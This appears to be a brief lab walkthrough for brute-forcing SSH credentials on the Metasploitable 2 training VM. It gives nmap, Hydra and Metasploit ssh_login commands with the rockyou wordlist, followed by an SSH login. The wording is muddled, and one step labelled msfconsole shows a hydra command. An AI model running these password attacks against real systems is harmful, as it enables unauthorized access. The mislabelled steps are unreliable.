Target: SSH exploition

By default, Metasploitable 2 runs an burtforce and has credentials. There isn’t a direct remote code execution via SSH itself (unlike FTP or RPC services), but you can still compromise it through:

1. Weak SSH Credentials (Brute-force / Dictionary Attack)

Difficulty: Easy → Medium Exploit Tool: Hydra, Metasploit Auxiliary

Steps:

1. Identify SSH port
2. nmap -p 22 -sV <target-ip>

1. Use msfconsole to brute-force:
2. hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<target-ip>

1. Try users: msfadmin, user, postgres, root
2. Login with found creds

ssh msfadmin@<target-ip>

🧠 Once inside, privilege escalation is the next step — you might find sudo or local exploits to root.

While SSH itself isn’t directly exploitable via RCE in Metasploitable 2, you can use Metasploit for brute force:

msfconsole use auxiliary/scanner/ssh/ssh_login

set RHOSTS <target-ip>

set USER_FILE /usr/share/wordlists/user.txt set PASS_FILE /usr/share/wordlists/rockyou.txt

run

exploited